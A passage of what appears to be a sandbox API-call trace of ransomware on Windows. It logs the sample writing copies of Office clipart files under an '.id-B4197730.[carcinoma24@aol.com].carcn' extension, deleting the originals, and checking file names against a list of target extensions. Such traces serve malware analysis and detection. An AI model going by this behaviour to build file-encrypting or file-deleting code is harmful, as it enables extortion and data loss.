nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xc00, lpOverlapped=0x0) returned 1 [0310.875] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.875] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.875] SetEndOfFile (hFile=0x35c) returned 1 [0310.875] CloseHandle (hObject=0x35c) returned 1 [0310.875] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.876] SetEndOfFile (hFile=0x398) returned 1 [0310.877] CloseHandle (hObject=0x398) returned 1 [0310.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0310.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.878] lstrlenW (lpString=".doc") returned 4 [0310.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.878] lstrlenW (lpString=".docx") returned 5 [0310.878] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0310.878] lstrlenW (lpString=".pdf") returned 4 [0310.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.878] lstrlenW (lpString=".xls") returned 4 [0310.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.878] lstrlenW (lpString=".xlsx") returned 5 [0310.878] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0310.878] lstrlenW (lpString=".ppt") returned 4 [0310.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.879] lstrlenW (lpString=".zip") returned 4 [0310.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.879] lstrlenW (lpString=".rar") returned 4 [0310.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.879] lstrlenW (lpString=".bz2") returned 4 [0310.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.879] lstrlenW (lpString=".7z") returned 3 [0310.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.879] lstrlenW (lpString=".dbf") returned 4 [0310.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.879] lstrlenW (lpString=".1cd") returned 4 [0310.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0310.879] lstrlenW (lpString=".jpg") returned 4 [0310.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.880] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.880] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0310.881] GetLastError () returned 0x0 [0310.881] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xe3c, lpOverlapped=0x0) returned 1 [0310.897] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe40, lpOverlapped=0x0) returned 1 [0310.897] ReadFile (in: hFile=0x398, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.897] WriteFile (in: hFile=0x35c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.897] SetEndOfFile (hFile=0x35c) returned 1 [0310.898] CloseHandle (hObject=0x35c) returned 1 [0310.898] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.898] SetEndOfFile (hFile=0x398) returned 1 [0310.922] CloseHandle (hObject=0x398) returned 1 [0310.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0311.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.264] lstrlenW (lpString=".doc") returned 4 [0311.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.264] lstrlenW (lpString=".docx") returned 5 [0311.264] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0311.264] lstrlenW (lpString=".pdf") returned 4 [0311.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.264] lstrlenW (lpString=".xls") returned 4 [0311.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.264] lstrlenW (lpString=".xlsx") returned 5 [0311.264] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0311.264] lstrlenW (lpString=".ppt") returned 4 [0311.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.264] lstrlenW (lpString=".zip") returned 4 [0311.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.264] lstrlenW (lpString=".rar") returned 4 [0311.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.264] lstrlenW (lpString=".bz2") returned 4 [0311.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.264] lstrlenW (lpString=".7z") returned 3 [0311.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.265] lstrlenW (lpString=".dbf") returned 4 [0311.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.265] lstrlenW (lpString=".1cd") returned 4 [0311.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68 [0311.265] lstrlenW (lpString=".jpg") returned 4 [0311.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.287] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.288] GetLastError () returned 0x0 [0311.288] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0311.291] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x7c70, lpOverlapped=0x0) returned 1 [0311.292] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.292] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.292] SetEndOfFile (hFile=0x34c) returned 1 [0311.292] CloseHandle (hObject=0x34c) returned 1 [0311.293] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.293] SetEndOfFile (hFile=0x35c) returned 1 [0311.296] CloseHandle (hObject=0x35c) returned 1 [0311.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0311.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString=".doc") returned 4 [0311.298] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.298] lstrlenW (lpString=".docx") returned 5 [0311.298] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0311.298] lstrlenW (lpString=".pdf") returned 4 [0311.298] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.298] lstrlenW (lpString=".xls") returned 4 [0311.298] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.298] lstrlenW (lpString=".xlsx") returned 5 [0311.298] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0311.298] lstrlenW (lpString=".ppt") returned 4 [0311.298] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString=".zip") returned 4 [0311.298] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.298] lstrlenW (lpString=".rar") returned 4 [0311.298] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.298] lstrlenW (lpString=".bz2") returned 4 [0311.298] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.298] lstrlenW (lpString=".7z") returned 3 [0311.298] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString=".dbf") returned 4 [0311.298] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString=".1cd") returned 4 [0311.298] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0311.298] lstrlenW (lpString=".jpg") returned 4 [0311.298] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.300] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.300] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0311.301] GetLastError () returned 0x0 [0311.301] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0311.313] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x8a60, lpOverlapped=0x0) returned 1 [0311.315] ReadFile (in: hFile=0x35c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.315] WriteFile (in: hFile=0x34c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.315] SetEndOfFile (hFile=0x34c) returned 1 [0311.315] CloseHandle (hObject=0x34c) returned 1 [0311.315] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.315] SetEndOfFile (hFile=0x35c) returned 1 [0311.317] CloseHandle (hObject=0x35c) returned 1 [0311.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0311.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.318] lstrlenW (lpString=".doc") returned 4 [0311.318] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.318] lstrlenW (lpString=".docx") returned 5 [0311.318] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0311.318] lstrlenW (lpString=".pdf") returned 4 [0311.318] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.318] lstrlenW (lpString=".xls") returned 4 [0311.318] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.318] lstrlenW (lpString=".xlsx") returned 5 [0311.318] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0311.318] lstrlenW (lpString=".ppt") returned 4 [0311.318] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.318] lstrlenW (lpString=".zip") returned 4 [0311.318] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.318] lstrlenW (lpString=".rar") returned 4 [0311.319] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.319] lstrlenW (lpString=".bz2") returned 4 [0311.319] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.319] lstrlenW (lpString=".7z") returned 3 [0311.319] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.319] lstrlenW (lpString=".dbf") returned 4 [0311.319] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.319] lstrlenW (lpString=".1cd") returned 4 [0311.319] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0311.319] lstrlenW (lpString=".jpg") returned 4 [0311.319] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.328] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.328] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0311.331] GetLastError () returned 0x0 [0311.331] ReadFile (in: hFile=0x370, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x84a6, lpOverlapped=0x0) returned 1 [0311.380] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x84b0, lpOverlapped=0x0) returned 1 [0311.382] ReadFile (in: hFile=0x370, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.382] WriteFile (in: hFile=0x388, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.382] SetEndOfFile (hFile=0x388) returned 1 [0311.382] CloseHandle (hObject=0x388) returned 1 [0311.383] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.383] SetEndOfFile (hFile=0x370) returned 1 [0311.384] CloseHandle (hObject=0x370) returned 1 [0311.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0311.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.385] lstrlenW (lpString=".doc") returned 4 [0311.385] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.385] lstrlenW (lpString=".docx") returned 5 [0311.385] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0311.385] lstrlenW (lpString=".pdf") returned 4 [0311.385] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.385] lstrlenW (lpString=".xls") returned 4 [0311.385] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.385] lstrlenW (lpString=".xlsx") returned 5 [0311.385] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0311.385] lstrlenW (lpString=".ppt") returned 4 [0311.385] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.385] lstrlenW (lpString=".zip") returned 4 [0311.385] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.385] lstrlenW (lpString=".rar") returned 4 [0311.385] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.385] lstrlenW (lpString=".bz2") returned 4 [0311.386] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.386] lstrlenW (lpString=".7z") returned 3 [0311.386] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.386] lstrlenW (lpString=".dbf") returned 4 [0311.386] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.386] lstrlenW (lpString=".1cd") returned 4 [0311.386] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0311.386] lstrlenW (lpString=".jpg") returned 4 [0311.386] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.711] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.711] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.771] GetLastError () returned 0x0 [0311.771] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0311.833] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0311.835] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0311.835] WriteFile (in: hFile=0x37c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0311.835] SetEndOfFile (hFile=0x37c) returned 1 [0311.835] CloseHandle (hObject=0x37c) returned 1 [0311.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0311.835] SetEndOfFile (hFile=0x324) returned 1 [0311.837] CloseHandle (hObject=0x324) returned 1 [0311.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0311.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0311.838] lstrlenW (lpString=".doc") returned 4 [0311.838] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.838] lstrlenW (lpString=".docx") returned 5 [0311.838] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0311.838] lstrlenW (lpString=".pdf") returned 4 [0311.838] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.838] lstrlenW (lpString=".xls") returned 4 [0311.838] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 